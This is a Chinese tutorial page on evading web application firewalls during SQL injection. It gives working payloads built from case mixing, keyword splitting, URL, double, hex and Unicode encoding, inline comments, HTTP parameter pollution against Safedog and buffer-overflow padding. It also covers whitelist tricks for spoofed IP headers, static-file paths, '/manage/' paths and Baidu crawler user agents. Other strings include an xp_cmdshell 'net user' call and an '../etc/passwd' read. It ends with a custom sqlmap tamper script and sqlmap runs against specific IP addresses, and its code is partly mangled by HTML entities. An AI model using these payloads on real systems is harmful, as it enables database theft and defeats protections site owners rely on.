热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入waf绕过

SQL注入-waf绕过网络资源https:www.cnblogs.comcute-pulip11146625.htmlhttps:www.cnblogs.comr00tgrok

SQL注入-waf绕过

在这里插入图片描述


网络资源

https://www.cnblogs.com/cute-puli/p/11146625.html

https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html


WAF的常见特征

之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。

总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:


  • 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话

  • 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式

  • 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

  • WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。


WAF的常见特点:


  • 异常检测协议:拒绝不符合HTTP标准的请求

  • 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证

  • 白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题

  • 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活

  • 状态管理:重点进行会话保护

  • 另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器,WAF有其识别之道:


扫描器识别主要由以下几点:


  • 扫描器指纹(head字段/请求参数值,以wvs为例,会有很明显的Acunetix在内的标识

  • 单IP+ COOKIE某时间段内触发规则次数

  • 隐藏的链接标签等()

  • COOKIE植入

  • 验证码验证,扫描器无法自动填充验证码

  • 单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404


绕过WAF的方法

从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧


  • 大小写混合

    大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

    举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

    示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

  • 替换关键字

    这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

    举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

    同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

  • 使用编码

    1.URL编码

    在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29

    1.12.250.218:100/Less-2/?id=1 union%23a%0Aselect 1,2,3#

    这里相当于 %23(#,注释符) ,%0A (换行,这里相当于两个语句) , a 防止 waf 扫描到 union select 这样子的联合注入语句

    1.12.250.218:100/Less-2/?id=1 union#a
    select 1,2,3#

在这里插入图片描述

在数据库中

mysql> select * from users where id=1 union #a -> select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)

普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:

1.12.250.218:100/Less-2/?id=1 UNION%23a%0ASELECT 1,2,3#
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

2.十六进制编码

举例:

z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点


3.Unicode编码

Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些Unicode编码:

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

举例:?id=10%D6‘%20AND%201=2%23

SELECT ‘Ä’=‘A’; #1

两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用

第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过

另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下

常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子


  • 使用注释

    看一下常见的用于注释的符号有哪些:*//, – , /**/, #, --+,-- -, ;

    1.普通注释

    举例:

    http://xxx:xxx/Less-2/?id=-11 union select 1,database()/**/,3 --+

    /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询

    2.内联注释

    相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

    举例:

    index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
    ?page_id=null%0A/**//*****!50000%55nIOn*****//*****yoyu*****/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

    两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

  • 等价函数与命令

    有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

    1.函数或变量

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @[@user ]() ==> user()
    @[@datadir ]() ==> datadir()

    举例:substring()和substr()无法使用时:?

    id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
    或者:substr((select 'password'),1,1) = 0x70
    strcmp(left('password',1), 0x69) = 1
    strcmp(left('password',1), 0x70) = 0
    strcmp(left('password',1), 0x71) = -1

    上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

    2.符号

    and和or有可能不能使用&#xff0c;或者可以试下&&和||能不能用&#xff1b;还有&#61;不能使用的情况&#xff0c;可以考虑尝试<、>&#xff0c;因为如果不小于又不大于&#xff0c;那边是等于了

    在看一下用得多的空格&#xff0c;可以使用如下符号表示其作用&#xff1a;%20 %09 %0a %0b %0c %0d %a0 /**/

    3.生僻函数

    MySQL/PostgreSQL支持XML函数&#xff1a;

    Select UpdateXML(‘ ’,’/script/&#64;x/’,’src&#61;//evil.com’);?id&#61;1 and 1&#61;(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,&#39;a\l\x65rt(1)&#39;as \117n\x65rror)); //postgresql?id&#61;1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    MySQL、PostgreSQL、Oracle它们都有许多自己的函数&#xff0c;基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能&#xff0c;而且代价太大&#xff0c;看来黑名单技术到一定程度便遇到了限制

  • 特殊符号

    这里我把非字母数字的字符都规在了特殊符号一类&#xff0c;特殊符号有特殊的含义和用法&#xff0c;涉及信息量比前面提到的几种都要多

    先看下乌云drops上“waf的绕过技巧”一文使用的几个例子&#xff1a;

    1.使用反引号&#xff0c;例如selectversion()&#96;&#xff0c;可以用来过空格和正则&#xff0c;特殊情况下还可以将其做注释符用

    2.神奇的"-&#43;."&#xff0c;select&#43;id-1&#43;1.from users; “&#43;”是用于字符串连接的&#xff0c;”-”和”.”在此也用于连接&#xff0c;可以逃过空格和关键字过滤

    3.&#64;符号&#xff0c;select&#64;^1.from users; &#64;用于变量定义如**&#64;**var_name&#xff0c;一个&#64;表示用户定义&#xff0c;&#64;&#64;表示系统变量

    4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

    可见&#xff0c;使用这些字符的确是能做很多事&#xff0c;也证实了那句老话&#xff0c;只有想不到&#xff0c;没有做不到

    本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内&#xff0c;考虑到前面已经出现较多次了)&#xff1a;&#96;、~、!、&#64;、%、()、[]、.、-、&#43; 、|、%00

    举例&#xff1a;

    关键字拆分&#xff1a;‘se’&#43;’lec’&#43;’t’

    %S%E%L%E%C%T 1

    1.aspx?d&#61;1;EXEC(‘ma’&#43;&#39;ster…x’&#43;&#39;p_cm’&#43;&#39;dsh’&#43;&#39;ell ”net user”’)

    !和()&#xff1a;’ or --&#43;2&#61;- -!!!&#39;2

    id&#61;1&#43;(UnI)(oN)&#43;(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

    本节最后在给出一些和这些字符多少有点关系的操作符供参考&#xff1a;

    >>, <<, >&#61;, <&#61;, <>,<&#61;>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

    使用这些"特殊符号"实现绕过是一件很细微的事情&#xff0c;一方面各家数据库对有效符号的处理是不一样的&#xff0c;另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

  • HTTP参数控制 (http参数污染)

    在与服务器进行交互的过程中&#xff0c;客户端往往会在GET/POST请求中带上参数。通常在一个请求中&#xff0c;同名参数只会出现一次&#xff0c;但是在HTTP协议中是允许同名参数多次出现的。

    以上图服务器为例假设请求为index.php?id&#61;1&id&#61;2&#xff0c;客户端请求首先通过tomcat解析第一个参数&#xff0c;接下来tomcat去请求apache服务器&#xff0c;而apache解析最后一个参数。实际提供服务的是apache服务器&#xff0c;因此返回客户端的是id&#61;2。

在这里插入图片描述

比如在php/apache中:

在这里插入图片描述

利用&#xff1a;

mysql> /*!select database()*/;
&#43;------------&#43;
| database() |
&#43;------------&#43;
| security |
&#43;------------&#43;
1 row in set (0.00 sec)访问&#xff1a;xxx:xxx/?id&#61;1/**&id&#61;-1 union select 1,2,3#*/ xxx:xxx/?id&#61;1/**&id&#61;-1%20union%20select%201,2,3%23*/

在这里插入图片描述

这个语句在mysql中可以正常执行

mysql> select * from users where id&#61;1/**id&#61;-1 union select 1,2,3#*/;
&#43;----&#43;----------&#43;----------&#43;
| id | username | password |
&#43;----&#43;----------&#43;----------&#43;
| 1 | Dumb | Dumb |
&#43;----&#43;----------&#43;----------&#43;
1 row in set (0.00 sec)

在游览器中这里是php页面所以接受的是后面的 id&#61;-1 union select 1,2,3

安全狗这里接收到

/**&id&#61;-1 union select 1,2,3#*/ /** */ :相当注释符 内联注释
mysql> /**select dababase()*/;
ERROR:
No query specified
这里提示没有执行语句 安全狗对这个没有执行语句没有拦截&#xff0c;而游览器接收到真实的数据&#xff1a;
-1 union select 1,2,3#*/ 进行注入

  • 缓冲区溢出

    缓冲区溢出用于对付WAF&#xff0c;有不少WAF是C语言写的&#xff0c;而C语言自身没有缓冲区保护机制&#xff0c;因此如果WAF在处理测试向量时超出了其缓冲区长度&#xff0c;就会引发bug从而实现绕过

    举例&#xff1a;

    ?id&#61;1 and (select 1)&#61;(elect 0xA*1000)&#43;UnIoN&#43;SeLeCT&#43;1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    示例0xA*1000指0xA后面”A"重复1000次&#xff0c;一般来说对应用软件构成缓冲区溢出都需要较大的测试长度&#xff0c;这里1000只做参考&#xff0c;在某些情况下可能不需要这么长也能溢出

  • 整合绕过

    整合的意思是结合使用前面谈到的各种绕过技术&#xff0c;单一的技术可能无法绕过过滤机制&#xff0c;但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系&#xff0c;另一方面则是多种技术的使用创造了更多的可能性&#xff0c;除非每一种技术单独都无法使用&#xff0c;否则它们能产生比自身大得多的能量。

    举例&#xff1a;

    z.com/index.php?page_id&#61;-15&#43;and&#43;(select 1)&#61;(Select 0xAA[..(add about 1000 "A")..])&#43;/*!uNIOn*/&#43;/*!SeLECt*/&#43;1,2,3,4…id&#61;1/*!UnIoN*/&#43;SeLeCT&#43;1,2,concat(/*!table_name*/)&#43;FrOM /*information_schema*/.tables /*!WHERE */&#43;/*!TaBlE_ScHeMa*/&#43;like&#43;database()– -?id&#61;-725&#43;/*!UNION*/&#43;/*!SELECT*/&#43;1,GrOUp_COnCaT(COLUMN_NAME),3,4,5&#43;FROM&#43;/*!INFORMATION_SCHEM*/.COLUMNS&#43;WHERE&#43;TABLE_NAME&#61;0x41646d696e--


案例演示


  • 简要其他绕过方式学习
  • FUZZ绕过脚本结合编写测试
  • 阿里云盾防SQL注入简要分析
  • 安全狗&#43;云盾SQL注入插件脚本编写

%23x%20union%23x%0Aselect%201,2,3%20union%20/*!44509select*/%201,2,3
%20/*!44509union*/%23x%0aselect%201,1,2,3
这个/*!44509union*/是mysql数据库的特性&#xff1a;表示数据库版本在4.4.509以上的话就可以被执行。而waf会略过id&#61;1/**&id&#61;-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

方式一:IP白名单

从网络层获取的ip&#xff0c;这种一般伪造不来&#xff0c;如果是获取客户端的IP&#xff0c;这样就可能存在伪造Ip绕过的情况。需要条件比较苛刻

测试方法:修改http的header来bypass waf

x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源

特定的静态资源后缀请求&#xff0c;常见的静态文件(.js .jpg .swf .css等等)&#xff0c;类似白名单机制,waf为了检测效率&#xff0c;不去检测这样一些静态文件名后缀的请求。现在一般都会拦截

http://10.s.9.201/sql.php ?id&#61;1
http://10.9.9.201/sql.php/1.js&#61;?id&#61;1

备注: aapx/php只识别到前面的.aspx/ .php后面基本不识

方式三:url白名单

为了防止误拦&#xff0c;部分waf内置默认的白名单列表&#xff0c;如acmin/managerl system等管理后台。只要url中存在白名单的字符串&#xff0c;就作为白名单不进行检测。常见的uzl构造姿势:

http://10.s.s.201/&#61;ql.php/admin.php?id&#61;1
http://10.9.9.201/sql.php?a&#61;/manage/&b&#61;../etc/passwd
http://10.9.s.201/../../../manage/../sql.asp?id&#61;2

waf通过/manage/"进行比较&#xff0c;只要uri中存在/manage/就作为白名单不进行检测&#xff0c;这样我们可以通过/sql.php?a&#61;/ manage/&b&#61;…/etc/passwcl绕过防御规则。

方式四:爬虫白名单

在爬虫脚本的请求头中加入官方爬虫比如百度爬虫等白名单的header&#xff0c;waf就不会对你的ip进行封禁

Mozilla/5.0 (compatible; Baiduspider/2.0; &#43;http://www.baidu.com/search/spider.html)

搜索引擎蜘蛛爬虫 User Agent 一览


https://blog.csdn.net/liuxl57805678/article/details/89378720

在这里插入图片描述


SQLmap tamper

https://www.cnblogs.com/junsec/p/11607603.html

在tamper文件夹中创建rdog.py

#!/usr/bin/env python"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file &#39;LICENSE&#39; for copying permission
"""import refrom lib.core.data import kb
from lib.core.enums import PRIORITY__priority__ &#61; PRIORITY.NORMALdef dependencies():passdef tamper(payload, **kwargs):retVal &#61; payloadif payload:retVal &#61; retVal.replace(&#39;UNION&#39;, &#39;uNiOn/*/%0a*a*/&#39;)retVal &#61; retVal.replace(&#39;DATABASE()&#39;, &#39;dataBase/*!(*/)&#39;)retVal &#61; retVal.replace(&#39;DATABASE()&#39;, &#39;dataBase%23a%0a&#39;)retVal &#61; retVal.replace(&#39;USER()&#39;, &#39;usEr/*!(*/)&#39;)retVal &#61; retVal.replace(&#39; &#39;, &#39;/**/&#39;)retVal &#61; retVal.replace(" ", &#39;%23a%0a&#39;)retVal &#61; retVal.replace(&#39;OR&#39;, &#39;/*!14400Or*/&#39;)retVal &#61; retVal.replace(&#39;AND&#39;, &#39;/*!14400aNd*/&#39;)return retVal

在这里插入图片描述

可以看到的是代码并没有按照我们预期执行&#xff0c;我们添加代理看看到底是个什么情况

python sqlmap.py -u "http://10.1.1.120/Less-2/?id&#61;1" --tamper&#61;rdog.py --proxy&#61;http://127.0.0.1:8888启动burp

在这里插入图片描述

可以看到user-agent是sqlmap/1.5.6.4#dev (http://sqlmap.org)&#xff0c;安全软件当中是禁止使用这种脚本客户端所以就被拦截&#xff0c;自然插件脚本也就没办法正常执行

python sqlmap.py -u "http://10.1.1.120/Less-2/?id&#61;1" --tamper&#61;rdog.py --proxy&#61;http://127.0.0.1:8888 --random-angent 加上–random-angent 这个是在sqlmap的游览器头储存文件中随机取一个

在这里插入图片描述

备注&#xff1a;在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单&#xff0c;对此我们使用的策略是延时&#xff0c;代理&#xff0c;爬虫白名单

搜索引擎爬虫user-agent信息&#xff1a;https://blog.csdn.net/liuxl57805678/article/details/89378720


自定义user-agent

python sqlmap.py -u "http://10.1.1.120/Less-2/?id&#61;1" --tamper&#61;rdog.py --proxy&#61;http://10.1.1.2:8888 --user-agent&#61;"Mozilla/5.0 (compatible; Baiduspider/2.0; &#43;http://www.baidu.com/search/spider.html)"

延时注入

–delay 时间&#xff08;默认为秒&#xff09;

C:\Users\admin\Desktop\security\software\sqlmapproject-sqlmap-7c41967>python sqlmap.py -u "http://1.12.250.218/Less-2/?id&#61;1" --tamper&#61;rdog.py --proxy&#61;http://127.0.0.1:8888 --delay 1_____H_____ ___[&#39;]_____ ___ ___ {1.5.6.4#dev}
|_ -| . [)] | .&#39;
| . |
|___|_ [)]_|_|_|__,| _||_|V... |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting &#64; 17:28:14 /2021-07-27/[17:28:16] [INFO] loading tamper module &#39;rdog&#39;

推荐阅读
  • ABP框架是ASP.NET Boilerplate的简称,它不仅是一个开源且文档丰富的应用程序框架,还提供了一套基于领域驱动设计(DDD)的最佳实践架构模型。本文将详细介绍ABP框架的特点、项目结构及其在Web API优先架构中的应用。 ... [详细]
  • centos 7.0 lnmp成功安装过程(很乱)
    下载nginx[rootlocalhostsrc]#wgethttp:nginx.orgdownloadnginx-1.7.9.tar.gz--2015-01-2412:55:2 ... [详细]
  • 本文节选自《NLTK基础教程——用NLTK和Python库构建机器学习应用》一书的第1章第1.2节,作者Nitin Hardeniya。本文将带领读者快速了解Python的基础知识,为后续的机器学习应用打下坚实的基础。 ... [详细]
  • 为了确保iOS应用能够安全地访问网站数据,本文介绍了如何在Nginx服务器上轻松配置CertBot以实现SSL证书的自动化管理。通过这一过程,可以确保应用始终使用HTTPS协议,从而提升数据传输的安全性和可靠性。文章详细阐述了配置步骤和常见问题的解决方法,帮助读者快速上手并成功部署SSL证书。 ... [详细]
  • Web开发框架概览:Java与JavaScript技术及框架综述
    Web开发涉及服务器端和客户端的协同工作。在服务器端,Java是一种优秀的编程语言,适用于构建各种功能模块,如通过Servlet实现特定服务。客户端则主要依赖HTML进行内容展示,同时借助JavaScript增强交互性和动态效果。此外,现代Web开发还广泛使用各种框架和库,如Spring Boot、React和Vue.js,以提高开发效率和应用性能。 ... [详细]
  • 如何撰写适应变化的高效代码:策略与实践
    编写高质量且适应变化的代码是每位程序员的追求。优质代码的关键在于其可维护性和可扩展性。本文将从面向对象编程的角度出发,探讨实现这一目标的具体策略与实践方法,帮助开发者提升代码效率和灵活性。 ... [详细]
  • 驱动程序的基本结构1、Windows驱动程序中重要的数据结构1.1、驱动对象(DRIVER_OBJECT)每个驱动程序会有唯一的驱动对象与之对应,并且这个驱动对象是在驱 ... [详细]
  • 解决网页乱码问题的实用方法
    网页乱码问题在开发中较为常见,主要由文件编码、程序字符集设置和数据库连接字符集设置不当引起。本文将详细介绍如何逐一排查并解决这些问题。 ... [详细]
  • 申请地址:https://developer.apple.com/appstore/contact/?topic=expedite 常见申请理由:1. 我们即将发布新产品,这是一个媒体活动,我们无法承担任何风险,因此在多个方面努力提升应用质量。 ... [详细]
  • MySQL 5.7 服务端在 Windows 上的安装与配置
    本文详细介绍了在 Windows 系统上安装和配置 MySQL 5.7 服务端的方法,包括 my.ini 配置文件的设置、初始化数据库、启动服务以及设置用户权限等步骤。 ... [详细]
  • Java EE 平台集成了多种服务、API 和协议,旨在支持基于 Web 的多层应用程序开发。本文将详细介绍 Java EE 中的 13 种关键技术规范,帮助开发者更好地理解和应用这些技术。 ... [详细]
  • 在尝试将 mysqldump 文件加载到新的 MySQL 服务器时,遇到因使用保留关键字 'table' 导致的语法错误。 ... [详细]
  • 在Linux系统中,find和grep是两个常用的命令,用于文件和文本的查找。本文将详细介绍这两个命令的区别及其常见用法。 ... [详细]
  • 该大学网站采用PHP和MySQL技术,在校内可免费访问某些外部收费资料数据库。为了方便学生校外访问,建议通过学校账号登录实现免费访问。具体方案可包括利用学校服务器作为代理,结合身份验证机制,确保合法用户在校外也能享受免费资源。 ... [详细]
  • 在ElasticStack日志监控系统中,Logstash编码插件自5.0版本起进行了重大改进。插件被独立拆分为gem包,每个插件可以单独进行更新和维护,无需依赖Logstash的整体升级。这不仅提高了系统的灵活性和可维护性,还简化了插件的管理和部署过程。本文将详细介绍这些编码插件的功能、配置方法,并通过实际生产环境中的应用案例,展示其在日志处理和监控中的高效性和可靠性。 ... [详细]
author-avatar
45仰望易_332
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有